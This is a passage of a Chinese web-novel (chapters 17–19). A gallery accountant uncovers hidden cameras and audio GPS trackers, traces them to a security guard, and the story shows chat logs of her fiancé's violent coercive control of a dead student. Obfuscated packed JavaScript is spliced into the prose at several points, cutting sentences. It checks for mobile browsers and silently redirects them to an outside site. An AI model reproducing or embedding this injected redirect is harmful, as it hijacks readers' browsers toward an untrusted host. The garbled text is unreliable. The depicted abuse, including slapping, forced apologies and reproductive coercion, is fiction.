谭孟彦没有说话,他一如既往地沉默寡言,但魏芷轻松了许多,她继续说道:“选黄瓜要看颜色,摸硬度,发黄和软趴趴的都不能要,不新鲜了。你如果不自己挑,很多菜贩都要欺负你不懂,给你塞不新鲜的。” 谭孟彦虽然没有回应,但魏芷看得出来他在听,只是依旧是那副无所谓的神情。 “你一个人住吗?吃这点就够了?”魏芷看向他手里提的三瓜两枣。 “多了浪费。”他言简意赅道。 两人穿过熙熙攘攘的市集,走到大门外的开阔处,夏末的斜阳宛如熔炉中溢出的金液,缓缓倾泻于天际,为万物披上了一袭温热的外衣,就连谭孟彦垂在眼前的黑色碎发,也跳跃着金色的暖光。 魏芷和他道别,独自走向季琪琨家的方向。她看了眼时间,还在买菜的合理范围内。 她刚走出不远,忽然听见身后传来嘈杂的惊呼。 “有人晕倒了!” 魏芷下意识停下脚步,她的目光在人群中寻找那个深蓝色的身影,没有找到。她看了眼手机上的时间,踌躇了两秒钟,最后还是走了回去。 她从围在一起的人群中好不容易找到一个空隙,努力挤了进去。 谭孟彦跌坐在地上,脸色发白,黄瓜和苹果从袋子里滚了出来。他正努力撑着地面站起身来,只是那结实的肱二头肌似乎失去了对臂力的掌控。 魏芷连忙走了上去,扶住他的胳膊,帮着一起用力。 终于,他勉强站了起来,魏芷听见他急促的呼吸。 “你怎么了?要不要去医院?”她问。 “……不用。”他喘着气说。 他推开魏芷,想要弯腰去捡掉落在地上的蔬果,仿佛一棵在疾风中摇摇欲坠的老树,枝干沉重地弯曲,随时可能失去平衡,倾倒在杂乱的尘土上。 魏芷从未在画廊见过他如此虚弱的一面。 保安这份工作,对文凭没有要求,但对身体却有要求。 如果有重大疾病,按理来说是不能得到这份工作的。 难道只是偶然的生病? 这个答案并不能说服魏芷。然而,谭孟彦没有丝毫解释的意思,他捡起掉落的蔬果后,神情又恢复了冷漠。 “我没事,你走吧。” 谭孟彦压下帽檐,转身往另一头走去,苍白的面庞在魏芷面前一闪而过。 魏芷自己也不能在这里逗留太久,她看着谭孟彦走远消失在人群后,也继续往季琪琨家走去。 季琪琨家的大门前,魏芷按下了开锁密码。 门扉轻轻开启,玄关处静静放着两双拖鞋。魏芷走进房门,将挎包放在柜子上,右手伸进兜里,悄悄打开了口袋里的射频探测器。 刚一打开开关,探测器就在兜里震动起来。 她已经有所准备,但却没想到这么快就会得出结果。 魏芷借着换鞋的工作,小心地检查了一遍四周。 “针孔摄像头一般都安装在什么地方?”鹰眼安防里,魏芷问那个卷毛的小青年。 “当然是别人不容易发现的地方啦!”卷毛说,“插座,插线板、空调孔、烟感器——最好的地方就是那些本来就有孔的地方。这是摄像头的情况,如果是录音设备,那就没那么多限制啦!” 她没有找到可疑的地方。 她换好拖鞋,提着买的蔬菜,挎着包走进客厅。 兜里的探测器还在不知疲惫地震动着。 她把包放在沙发上,提着蔬菜走进开放式厨房的中岛,兜里的探测器逐渐减弱振动频率,直至安静。 至少厨房是个安全区域。 魏芷冷静地洗手煮饭,处理蔬菜,为自己做了一菜一汤。 她不能让季琪琨知道她已经发现了监控,为了和他结婚,她至少在结婚前必须装作一无所知。 洗完碗后,她装作散步的样子,在屋子里走了两遍。 她最担心的暗室和书房反而没有任何反应,她以为最没必要设置监控的衣帽间,却引发了探测器的强烈震动。 季琪琨对监控位置的选择令她心中生出一抹疑惑。 玄关还可以理解,监控衣帽间是为什么? 虽然知道监控的位置,就能一定程度上规避监控。但要想在不惊动监控器主人的情况下找到监控的确切位置却很难。 目前魏芷能做的就是在这两个区域的时候谨言慎行。 九点过,季琪琨带着淡淡的酒气回到家,他的神色一如既往,脸上并无醉意。魏芷主动在门口迎接,不等他换鞋进入,就抱住了他紧实的腰。 “怎么了?”季琪琨搂住她。 “想你了。”魏芷低声说。 季琪琨受用地露出微笑:“我也想你了,宝贝。” 他们是彼此深爱的恋人。 至少帷幕落下前如此。 …… 第二天,魏芷和季琪琨一同前往画廊上班,两人在画廊门口分别,季琪琨开着添越进入地下车库,而她先走入画廊大门。 在一楼的旋转门后,她遇到了巡逻的谭孟彦。 他的脸色已经恢复正常,两人目光交接,他先对她点了点头,而她回以一个微笑。 魏芷乘内部电梯刷卡来到画廊二楼,走进财务办公室后,里面空无一人。 她在工位上坐了下来,从包里拿出那支新钢笔,轻轻将它插入桌上的笔筒。 笔夹上方的米粒大小的一粒黑色圆孔,正对着魏芷斜后方的那盆绿植。 “一个针孔摄像机能持续运行多长时间?” 她问卷毛。 “这可说不一定,要看你这个设备是有线无线的啦!如果是连着电源线,那一直都有电。如果是无线的,也要看电池容量,从几个小时到几天的都有啦!” 魏芷已经观察过绿植周围了,没有可疑的电线。 如果盆栽里藏了监控设备,一定是无线的。无论是几个小时还是几天,电量总有用完的时候。 只要他来更换电池,钢笔上的摄像头就能拍下这一幕。 而魏芷只需要背对身后的绿植,把手放在胸前就能更换笔帽里面的电池。 虽然手段非法,因此取得的证据在法庭上也不会有效,但魏芷此举只是为了在离婚时占据有利的舆论地位。 离婚—— 没错,她结婚的目的,是为了离婚。 为此,她在魏家的折叠床下,甚至藏着一本最新的《婚姻法》。 作为画廊的财会,魏芷对季琪琨的财产早就有一个大概的估算。画廊价值三百万,市中心一套房产价值三百万,全款购买,还未装修好的婚房价值五百万,更不必说季琪琨早年失母丧父,两人的遗产都落他一身,根据魏芷估算,其价值不少于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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手中的震动也在逐步减弱。 她终于明白昨日在玄关处的震动是由什么引发。因此另一个疑问也迎刃而解—— 为什么会在衣帽间设置监控? 并非是特意在衣帽间设置监控,而是无意间被她集中放到了衣帽间而已。 魏芷缓步迈入衣帽间,一股带着秋意的冷气迎面袭来。 中央的独立展示柜里,整整两层都是季琪琨的机械表,每一个都价值不菲。无数个表盘融合成一个微型的宇宙,几十根秒针同时转动的声音在静谧的空间里显得格外清晰,每一次滴答声都像是在敲击着无形的墙壁,回荡着空洞的回音。 魏芷的目光在曾经熟悉的一切上扫过。一排排表盘的金属在灯光下反射出冰冷的光芒,与周围的沉寂形成一种令人窒息的对比。 手里的探测器在她踏入衣帽间后,大幅增强了震动的频率,发出近乎蜂鸣的声音。 衣帽间两侧的橱柜如同庭院中肃穆的枯树,其中两列放着魏芷狸猫换太子的假名包,它们静静地躺在那里,皮质的光泽在射灯的光线中显得更加暗沉。 她拿起了那两列假包中最近购买的那一个,在每一层皮料上仔细按捏,最后在包包内里底部的隔层中,摸到了一个异样的硬物。 她马上换其他包,用同样的方法检查,每一个包都在底部隔层中有一个同样的圆形物体。 魏芷从厨房里拿出一把剪刀,沿着底部的布料剪开,掏出了那个东西—— 一个黑色的,圆形的仪器。 她剪开了其余所有假包的底部夹层,每一个包里都有一个这样的东西。 GPS定位器。 魏芷脑海中浮现出这个词语。 因为用真包换了假包,魏芷本身就格外警惕,每次放包拿包,她都保有自己的位置习惯。 但这些包自从被她带来季琪琨家后,她有把握从未被他人碰过。 而且,已经在手机上安有定位监控的前提下,季琪琨还有在她的包里放置定位跟踪器的需要吗? 当她发现自己除了手机上的定位外,还受到其他监视时,她想也不想就认为是季琪琨的手笔。 如果,她猜错了呢? 如果,还有一个她不知道的人,在黑暗中监控着她的计划呢? 一股从后背冒出的寒气,从无处不在的毛孔渗入,裹住了魏芷在胸腔里加速跳动的心脏。 如果这场游戏真的存在第三个人—— 那么棋局将彻底改写。 18.第 18 章 午后,悬在天边的太阳洒下让人昏昏欲睡的阳光。 趁季琪琨不在画廊,魏芷把手机留在工位,独自打车前往鹰眼安防。 还是那个空无一人的店面,魏芷这次直接走向了背后有着折叠床的柜台。 卷毛青年果然睡在那里打游戏。 魏芷手中的圆形仪器在玻璃柜上敲击出清脆的声响,卷毛的眼睛忽然从手机后露了出来。他诧异地盯着她手里的东西,然后坐了起来。 “你探测出来的?” “这是什么?” “给我看看。” 卷毛从魏芷手里接过圆形仪器,仔细翻看了一会,说:“带录音功能的GPS定位,最新型。大电池容量,每天定位一次都能续航五年。” “你这里有卖吗?” 卷毛从折叠床上起身,走到角落一个堆满盒子的置物架上翻翻找找,最后拿回一个黑盒子。 “喏——”他把那盒子放到魏芷眼前,“卖的不好,499一个,普通的只要几十块啦。” “你卖出过吗?” 卷毛终于明白她想问什么,乐了:“你是想从销售渠道这里调查谁买过这款定位器?虽然这款在我这里卖得不好,一年也就那么一二十个人购买,但你知道,江都市有多少家卖监控器材的店吗?你一个人,怎么找得完啦?你买的那个摄像笔,拍到东西没?” 见魏芷不说话,卷毛拿起手机欲继续他的游戏,末了又提醒了她一句: “你还是报警比较现实的啦。” “这个定位器,录音内容是储存在机器里还是线上?”魏芷问。 “拍完就直接传到线上啦,你是看不到的啦!” “那我现在把定位拿出来了,安装定位的人会发现吗?” “看你运气哦。”卷毛说,“不过一般不会啦,为了省电,谁会一直开着录音或者定位啊。特别是这种偷偷放的,他们只会在需要的时候开一下啦!不过,你真不报警哦?” “谢谢。” 魏芷把黑色仪器放回包里,转身走出了店铺。 除了自己,她不相信任何人。 如果有人能够拯救自己,早在二十年前就拯救了,绝不会等到现在。 她艰难活到现在,越来越深刻的只有一个道理——不要奢望别人拯救,也不要妄想去拯救他人。 唯有自己,才能扭转自己的命运。 打车在画廊对面的街上下车,魏芷看到在外边吃完午饭的小蔡和库存会计两人,正一人一杯咖啡,挽着手往画廊里走去,她故意放慢脚步,远远落在两人后边。 小蔡和财务会计像路过一个石墩子那样路过了站岗的谭孟彦。后者的眼神从两人身上漫不经心扫过,无意间落到了刚刚走过马路的魏芷身上。 他向魏芷点了点头,魏芷也露出微笑回应。 谭孟彦的嘴角似乎有过上扬,在魏芷看清之前,他已经压下帽檐挡住了面孔。 等魏芷走到画廊大门前的时候,他已经恢复了那副冷漠的模样。 “呀,小魏!” 郑田心刚从画廊大门出来,身上穿着做饭的衣服,头上带着白色的无纺布帽子,见到从外边回来的魏芷,她笑容满面地招手让她过去。 “田心姐。”魏芷笑着说,“你怎么从里面出来了?” 不提还好,一提郑田心脸上的笑容就拧成了无数根皱纹。 “还不是行政部那个死八婆,在我们的意见簿上写菜里有头发!”郑田心忿忿不平道,“你看看,我们每个人帽子戴得好好的,汗流浃背也从来不取,这到底是我们的头发还是她自己掉进去的头发?我就是去找她说个清楚的!” “别气,田心姐。”魏芷安抚道,“放宽心,这种事常有的。” “要是每个人都像小魏你一样好说话就好了。”郑田心叹了口气,忽然说,“对了,今天食堂有烧排骨和炖牛肉,你没去太可惜了!” 她一把拉住魏芷的手臂:“我们员工的那一盆还有剩,要不我给你打一份出来?” “不用了,我在便利店买了三明治吃。”魏芷也笑道,“今天工作太多了,实在没时间去吃饭。” “工作再忙,也要好好吃饭啊!”郑田心语重心长地说道。 魏芷附和了一声,准备结束话题往画廊走。 “对了,小魏——你们办公室的小蔡,你要防着一点。”郑田心压低声音,神秘兮兮地说,“我刚刚看见,她一见季总就屁颠屁颠地跑了上去打了招呼,也不看人家季总正在招待客人——” “季总回来了?”魏芷停下脚步。 “回来了呀!刚回来,带了两个客人,才进去看画呢!”郑田心说。 “……我知道了,谢谢你啊,田心姐。” “我肯定是站在你这边的。”郑田心对她比了个加油的手势,带着肥胖的身体快步走向了食堂小楼。 魏芷从画廊主体旁边的小道绕到了画廊背后,通过救生通道返回二楼办公区域。 无人注意到她从楼梯间走出。 魏芷返回财务办公室,一如寻常地回归了正常工作。 第二天,魏芷故技重施,把手机留在工位,自己打车前往鹰眼安防。二十三个定位器一共卖了两千三。 她回到画廊,趁上洗手间的时候,在隔间里再次检查了钢笔上录到的内容。她一路快进,依然没有发现有人来更换电池。 第三天,第四天同样。 第五天的时候,画廊来了一个不速之客。 “我和你无话可说。” 画廊旁边狭窄的小巷中,魏芷双手抱臂,无视眼前的魏来。 “你害死了妈,就想这么轻松地过去?”魏来眯着眼看她,那双肖似魏杉的肿泡眼里布满血丝。 “是你换药害死了妈。”魏芷冷冷道。 魏来怒道:“要不是你告诉她,妈又怎么会走上绝路?” “在强词夺理这方面,你学到了你爸的精髓。”魏芷说,“还有话要说没?没有我就回去了。” “五万块,给我。我就再也不来纠缠你。”魏来一步跨到魏芷跟前,“不然就是鱼死网破,我也要告诉季琪琨你欠了多少,让你回来过以前的日子。” “涨价了?”魏芷戏谑道。 “你害死了妈,当然不能一万就算了。”魏来说完,顿了顿,软下语气,“五万,我给我女朋友买订婚的三金,如果我拿不出来,她就要跟我分手。我真的很爱她,我不能和她分手。之前我说要你每个月给我一万,现在你一次性给我五万就能了结难道不好吗?” 他哀求道: “就当是你这个做姐姐的……帮我一个忙。我保证,拿了钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680917|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再也不来烦你。” 魏芷仔细看着他的面孔,曾经那么熟悉,那么亲切的面孔。 “现在不行,我这段时间很忙,没时间凑钱。”她说。 “那什么时候可以?”魏来急了,“我没时间等你!你要不给,我现在就去画廊找季琪琨!” “……一个月内。” “不行,太久了,一个周!” “五万块,不是五千块,我现在每个平台都借不出来钱了。你要是想拿到钱,就耐心等待,不然——你就直接去找季琪琨吧,我实在没有办法。” 魏芷转身欲走。 “好!我知道了!”魏来拦下魏芷,“一个月,最多一个月,我一天都不会多等!” “我会打电话联系你的。期限之前,不要再来找我。” 魏芷推开他,大步走出了小巷。 等在巷口外的谭孟彦看了眼小巷里气愤又无可奈何的魏来,抬脚跟上了魏芷的步伐。 等回到画廊门口,魏芷向他道谢。 “没什么。”他平静地说,然后压下帽檐,回到了他的工作岗位。 当天晚上,新画家签约带来的一系列工作都告了一段落,季琪琨少有的抽出时间和魏芷一起去买菜,两人准备在家做一顿大餐。 回家后,魏芷拿出购物袋里的鲜牛排和其他蔬菜,熟练地开始备菜。 锋利的菜刀在菜板上有节奏地敲击着,整颗大蒜在烤箱里逐渐发出焦香的蒜香。红酒瓶在餐桌上方的吊灯照耀下,仿佛有一条深红色的鳗鱼在瓶中游动。 晚餐上桌后,魏芷敲响书房门,叫出了工作的季琪琨。 季琪琨只吃半熟的牛排,他会慢慢地下刀,让牛排露出淡红色的切面,有时候还会有石榴色的汁液流下。 他咀嚼的时候,也像是按下了慢动作的键,仿佛是为了让每一块肉都死得其所,他会耐心而细致地品尝其他生命上的肉块。 在季琪琨面前,魏芷吃饭的速度也会尽量放慢,好让自己不像是一个刚从深山出来的野人。 十一点后,两人洗漱上床,季琪琨打开了投影仪,魏芷拿来了红酒。 电影的开篇还没放完,季琪琨就接到了工作伙伴的电话,他对魏芷递了个抱歉的眼神,一边打电话,一边去了隔壁书房。 魏芷习以为常地继续看着电影,自己给自己倒了一杯红酒。 放在腿上的手机忽然震了一下。 魏芷以为是有消息提示,拿起来一看,是一条软件通知。 “全知视角提醒您:捕捉到动态影像。” 她的目光紧锁在那条黑色的通知上,似乎下一秒就会有未知的恐惧从那里涌出,将她吞噬。 魏芷点开了那条通知。 控制针孔摄像头的软件跳出手机界面。 昏暗的财务办公室里,钢笔上的摄像头忠实地对准她身后的墙壁和那盆不起眼的绿植。 一个晦暗不轻的人影,正背对镜头站在绿植前,摆弄着什么。 她光着脚走下床,来到卧室门口。 隔壁书房的门缝里透着灯光,里面隐隐传来季琪琨和电话那一头的商务谈话。 她再次看向手中的手机。 那个高大的,在镜头前微微弯腰更换电池的身影。 他终于转过身,压下帽檐,走出了镜头。 19.第 19 章 魏芷本以为,至少工位背后的针孔摄像头是季琪琨安装的。 她猜错的不止这一件事。 她想过很多种可能,唯独没想过监视她的人是无冤无仇的谭孟彦。在一个月前,他们甚至没有几次交谈。 剩下的GPS定位器呢? 是一人所为,还是另有其人? 监视她的目的又是什么? 魏芷好像走入了一片分不清方向的迷雾,冰冷又黏腻的雾气像剧毒的蛇攀附在她身上,慢慢缠住她的脖颈。 这片雾气是现在才有的吗? 还是从一开始就存在,只是此刻才被她发觉? 下班后,季琪琨晚上还有应酬,魏芷以忘记更改收货地址,快递又寄到魏家附近的快递站为由,独自去了那条她铭刻在生命里的街道。 快递站里依然是快递堆积成山的样子,看店的人懒洋洋地坐在柜台后看手机,哪怕有人取走快递,他也头都不抬。 如果有人能在神不知鬼不觉的情况下,往她的假包里放定位器,只可能会在快递站。 快递站管理松懈,拿取包裹不经核对,就算拿错了,一句话也能拿回来重新入库。 魏芷走到柜台前,问:“你好,我有个包裹没有找到,想查一下监控。” “快递都在那儿,找不到就是没有。”男人不耐烦地说,目光依然落在手机屏幕上。 “我确实没有找到,我能看下监控吗?我自己看就行,不劳烦你。” “不行。”男人想也不想地拒绝了。 “拜托你了,这个快递里的东西对我真的很重要。请你通融通融——” 魏芷递出一张百元纸币。 男人的目光终于从手机上移开了,他一副不情不愿地样子收下了那一百元,打开了桌上那台老掉牙的笔记本电脑。 他打开监控,将电脑推给魏芷。 “你自己看吧。” 快递站里空间狭小,魏芷站在柜台边,弯着腰操作时间和进度条。一开始,男人怀着几分好奇和她一起看,指导她如何操作,没过十分钟,男人就打了个哈欠,躺回自己的椅子上继续玩手机。 魏芷聚精会神地检查着她去拿快递之前的监控。 快递进出库都有记录,魏芷查了自己买包的快递单号,不出意外,每个快递都有多次进出。她专门去找最后一次出库之前的进出时间,放到监控上进行核对,很快,一个可疑人士就被她锁定了。 一个身高一米八以上的人,每次都穿着可以遮挡面部的带帽外套或者连帽衫,当快递员送来魏芷的快递,他就会不请自来,默默拿走她的快递,然后在半天之内,又装作若无其事地归还。 “你记得这个人吗?”魏芷把监控画面给看店的男人看。 “啊,他啊——他老是拿错快递,每次重新入库都要花我不少时间。怎么,你的快递是被他拿了?”男人说。 “你还记得他长什么样吗?” “男人,长得很高,很壮——” 魏芷拿出今天上班时用手机偷拍的谭孟彦的照片,和季琪琨的照片一起给他看。 “是这两人之一吗?” “……你到底是来干什么的?”男人一下警惕起来。 魏芷又拿出一张百元大钞塞进他手里。 “是这二人之一吗?” 男人握着手里的钱,目光在两张照片上转了一圈,最后肯定地指向其中之一。 “是他。” 男人手指着谭孟彦的照片。 “你确定?” “我当然确定啊,每次都拿错快递,我烦他烦得要死,他长那么壮那么吓人,我也不敢说什么。但那张脸,早就被我记住了——” 魏芷收起手机:“谢谢。” 她转身走出了快递站。 谭孟彦为什么要煞费苦心地监视她? 二十三个带录音的GPS定位器,一个针对工位电脑屏幕的针孔摄像头,他如此处心积虑,到底想要什么? 画廊创立之初,她就来应聘了财务会计的职位,谭孟彦也是差不多那时来到画廊就职保安的。 在那之前,她根本不认识谭孟彦,她想不出任何值得他这么做的原因。 魏芷怀着满腹疑窦打开了季琪琨家的大门,玄关处季琪琨的皮鞋引起了她的注意,她的精神也从松散立即转为了警惕。 她走入家门,果不其然在一眼到底的客厅沙发上看见了季琪琨。他坐在松软的浅灰色沙发上,丝质的衬衫在他瘦削的后背上拉出一条优美的线条,穿着黑色西裤的两条长腿懒洋洋地交叠在一起,膝盖上放着左手,手腕上一枚金色带钻的腕表在明亮的白炽灯下折射出冷冰冰的光芒。 “琪琨,你没去应酬?”魏芷镇定地换鞋走进客厅,首先露出微笑。 季琪琨把正在看的手机锁屏之后放在茶几上,站起身说道: “想了想,还是没去。你妈妈刚走没多久,这时候我应该多陪陪你。” “……我已经没事了。”魏芷说,“我不想因为自己影响你的工作。” “你的快递呢?” 魏芷心里猛地一跳——谭孟彦监视她的事情夺走了她的全部心神,她竟然忘记了为此做应付季琪琨的准备。 “盒子我拆了当场就扔了。”她飞快地在脑中组织谎言,“东西在这,买的唇膏。” 她从包里拿出一只唇膏,那是她上个月买的,已经用过几次,但她相信季琪琨看不出使用痕迹。 季琪琨接过她手里的唇膏,拧开看了一眼,然后还给了魏芷。 “你最近的精神状态很不好,我很担心你。”他语重心长地看着魏芷。 “我没有……” “你总是在走神,你知道吗?”季琪琨说,“工作上你也不在状态,不仅我一个人注意到了这一点,就连你的同事也在抱怨。” 魏芷一愣。 她是经常想事情入神,但她绝没到工作中走神的程度。至于抱怨,小蔡和财务会计是有可能抱怨,即便她没有影响工作。 但真的有人抱怨了吗? 答案也只有季琪琨才知道。 “虽然我一直以来瞒着你,不想影响你的心情,但这样下去确实不是办法。”季琪琨按住她的肩膀两端,耐心而专注地对她说,“其实我们的关系,已经在工作中造成了不好的影响。很多人都说……我公私不分,你的同事们也有很大的意见。你应该多少也有察觉吧?” “……那我应该怎么办?” “明天开始,你就不用去上班了。” “你要辞退我?” “谁能辞退老板娘?”他露出了狡黠的笑容,指腹在魏芷的脸颊上轻轻抚过,眼中有柔情万丈,“只是这段时间暂时休息而已,虽然你说办不办婚礼都行,但前前后后还是有很多事需要你亲自做决定。等我们结婚之后,我也差不多进集团工作了,到时候画廊也是要卖掉的,等我安排好集团里的事,你就来集团上班。一切还和以前一样。” 他露出一个充满魅力的微笑,在她唇上轻轻吻了吻。 “晚上吃什么?我已经开始期待了。” 季琪琨的话语代表着这个话题的结束,木已成舟。 魏芷垂下眼,乖顺地走向开放式厨房的中岛。 “魏芷,是我选中的人。她的背景是很差,但她听话,聪明,只有我可以依赖。” 窗外,城市的喧嚣逐渐沉寂于无边的黑暗之中,夜幕如同一块被墨水浸透的绸布,深邃而沉重,不见半点光芒。远处的霓虹灯在黑夜中挣扎着闪烁,像是濒死之际的萤火虫,在无尽的暗夜里发出微弱的萤光。 她从未忘记自己被选中的原因,在一切结束之前,她都会如他所愿。 月光沿着高楼的边缘流淌,在万家灯火之中,有一间没有开灯的房间。翁秀越坐在一张铺着蕾丝四件套的床上,仅凭窗外微弱的月光,翻看着手中梅满的旧手机。 她还穿着白天去庭审时所穿的西装裙,脸上花了的妆容像是似哭似笑的鬼脸。 就在今天,漫长的诉讼随着法官的落锤宣告落幕。 “本庭在此宣布,由于证据不足,原告的诉讼请求不能成立。根据《中华人民共和国民事诉讼法》的相关规定,本庭判决原告败诉,并承担相应的诉讼费用。” 她坐在原告席上,眼睁睁地看着那个杀害了自己女儿的人渣,站起来向法官鞠了一躬,那张感激中夹杂着一丝愧疚的表情,足以胜过所有演员。 他在被告律师的陪同下,迟疑地走到她的面前。她用尽全部理智压制情感,才让自己一动不动。 “翁阿姨,梅满的事情……我真的很抱歉。我本想把这条命赔给你,但这次庭审让我明白了一件事,如果我为了让你泄愤就认下这份罪责,我的家人也会受到伤害。” “翁阿姨……放下你对无辜之人发泄的怒火吧,不要让法律成为你报私仇的工具,这才是梅满想看到的。” “你不要提我女儿的名字!” 理智在这一刻被情感推翻,翁秀越猛地站了起来,双手用力抓向对面的季琪琨,被身边早有准备的原告律师拉住,一直观望着这里的安保人员也立即围了上来。 “你怎么有脸提我女儿的名字?!你杀了她,就算你不承认,就算所有人都不承认——我也知道你杀了她!” “因为我是她的母亲!我知道,是你——杀了我的女儿!” 翁秀越泪如雨下,撕心裂肺地叫道。那近乎尖叫的声音,穿透了法院高耸的屋顶。 “翁阿姨,你要冷静——” 有许多双手抓住了她的身体,她已分不清哪一只是他的手。她像一只被打捞上船的鱼,在甲板和渔网中徒劳无功地挣扎。 嘈杂中,她听到他戏谑的声音在耳边悄悄响起,那低如呢喃的细语,如夏夜中突如其来的响雷,将她整个心灵一同粉碎。 “是我杀的,那又怎样?” 她无法接受这样的结果,但就算二审,也看不到丝毫希望。 数千张散落在地上的聊天记录复印件,已经变得毫无意义。 单薄的月光从窗外爬进,抚摸着纸张上一滴滴泪水泡出的皱褶。 黑白的文字,记录着最鲜红的残酷。 主人:“你去网上看看,谁会相信你骑车就能把□□给骑没的?” 小猫:“可是在你之前,我真的没有交过男朋友啊。” 主人:“有证据吗?没有证据就都是你一面之词。我愿意相信你,但我的痛苦又有谁来弥补?” 小猫:“你希望我怎么弥补你?” 主人:“你欠我的,这辈子都给不了我。这永远是我心上的一根刺。” 小猫:“你别生气了……” 主人:“见面再说吧。” …… 主人:“每次一想起你,我就又幸福又痛苦。我多希望你也能明白这种感受。” 小猫:“我也很爱你,这种又幸福又痛苦的感觉,我也有。” 主人:“不,你根本不懂。如果你懂的话,你就不会让真正深爱你的人成为一个可怜鬼。” 小猫:“难道那层膜就那么重要吗?” 主人:“那只是自欺欺人而已,你敢发毒誓说你根本不在乎那层膜吗?” …… 主人:“你为什么和导师走那么近?” 小猫:“什么时候?” 主人:“我都看见了,你还狡辩?” 小猫:“我想问他关于专业上的问题。最多五分钟就走了。” 主人:“和时间没有关系。你答应过我,不和我以外的男人说话。” 小猫:“那我有问题要问导师怎么办?” 主人:“你想问什么,告诉我。我帮你去问。” 小猫:“这样不是很麻烦吗……” 主人:“你是我独占的小猫,你的一切都属于我,不许和我说不。” 小猫:“……好吧。” …… 小猫:“我最近很心烦。” 丽丽:“怎么啦,又是因为会长?” 小猫:“我想和他分手,但他不同意。” 丽丽:“你疯了吧,会长那么优秀,你有什么不满意的?” 小猫:“他私底下的控制欲很强……” 丽丽:“多有魅力啊,我也好想男朋友管着我。” 丽丽:“而且人无完人,会长那么完美,控制欲强点怎么了?他要不爱你,他才不管你做什么呢。” 小猫:“真的是这样吗……” …… 安琪:“他是七十年代的人吗?怎么还有人吵架动手的?你没受伤吧?” 小猫:“还好,脸很快就消肿了。” 安琪:“你老实告诉我,那些奇怪的电话,是不是也是他逼你打的?” 小猫:“是……” 安琪:“真没看出来他简直是个变态!你快点跟他分手吧!” 小猫:“我今晚就说。” …… 安琪:“怎么样了?” 小猫:“他自杀了,我现在去找他。” 安琪:“你傻啊,肯定是他骗你的!” 安琪:“别去!” 安琪:“你人呢?” 安琪:“梅满!” …… 小猫:“妈妈!” 妈妈:“在。” 小猫:“我有个好朋友,想和她男朋友分手,但她男朋友提分手就自杀。这种情况怎么办才好?” 妈妈:“离这种人远点,好好学习。” …… 主人:“我想要你去纹身,就纹J’s Cat。” 小猫:“我妈不准我纹身……” 主人:“你是谁的小猫?” 小猫:“你的。” 主人:“那你去纹,如果你真的爱我的话。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711183|155160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > …… 小猫:“以前我以为自己很坚强,不会为已经做过的事情后悔,但我现在好后悔。” 丽丽:“什么事?” 小猫:“我不该去学骑自行车的,如果当时没有骑车,就不会有后面的这些事。我觉得好对不起他。” …… 主人:“晚上我给你拍照,我带了相机。” 小猫:“拍什么?” 主人:“拍你。” 小猫:“我不想拍……” 主人:“你不爱我?” 小猫:“这和爱不爱没关系,我怕被人看见……” 主人:“放心吧,我会保存好的。你还不信我?” …… 小猫:“你又打我了。” 主人:“对不起,我也是一时失去理智。” 小猫:“我不想再这样下去了,我们分手吧。” 主人:“我错了,小猫,不要抛下我。” 小猫:“分手吧。” 主人:“我在你宿舍楼下,下来。” …… 小猫:“我真的坚持不下去了,求你让我走吧……” 主人:“你不爱我了吗?” 小猫:“你明明知道我比任何人都爱你。” 主人:“你这样伤害我,还想分手一走了之?” 主人:“我爱你,小猫。” 主人:“没有你我活不下去。” 主人:“我会改的,相信我。你是我唯一的小猫啊。” …… 主人:“好,我可以和你分手。” 小猫:“真的?” 主人:“我也累了。我留不住你,只能放手,但我有个条件。” 小猫:“什么条件?” 主人:“你把你最珍贵的东西遗矢了,我什么都没有,你不觉得这太不公平了吗?” 小猫:“你想要什么?” 主人:“你怀上我的孩子,再去打掉。拿打胎证明来,我就和你分手。” 小猫:“这不可能……” 主人:“那就去医院结扎,把输卵管作为纪念留给我。” 主人:“这也不行,那也不行。我看出来了,你其实不想和我分手。” 主人:“承认吧,你这辈子都离不开我。” 主人:“离开主人的小猫,根本没有独立生活能力。现在的你,离了我还能活下去吗?” 主人:“认清现实吧,只有我才能保护你。” …… 翁秀越按下微信收藏里的一条语音条,海水般令人窒息的沉默流淌在坟墓般寂静的房间里。 半晌后,语音条里才传出那个男人的声音。 “说话。” 纤细的,精致的,像鱼线般冰冷锋利的声音。 “对不起……” 梅满哽咽的声音响了起来。 “说话!” “对不起……对不起……对……不起……” “还不够。” 一阵沉默后,随着一遍遍道歉响起的,还有巴掌扇在脸上的声音。 “离了我,你就是人见人厌的垃圾,像你这样的烂人,只有我才愿意爱你。” “对我的爱,你应该感恩戴德。” 整整六十秒的语音条,有五十秒的时间,都是梅满反复不断的道歉和自扇耳光。翁秀越把旧手机抱在怀中,慢慢蜷缩起身体,眼泪止不住地流下。 她永远也无法忘记她第一次听到这个音频时的难以置信。 她无法接受这个对季琪琨唯命是从的女孩,是她呵护了二十二年的掌中明珠。 她怎么也想不通,开朗爱笑的女儿为什么会变成这样。 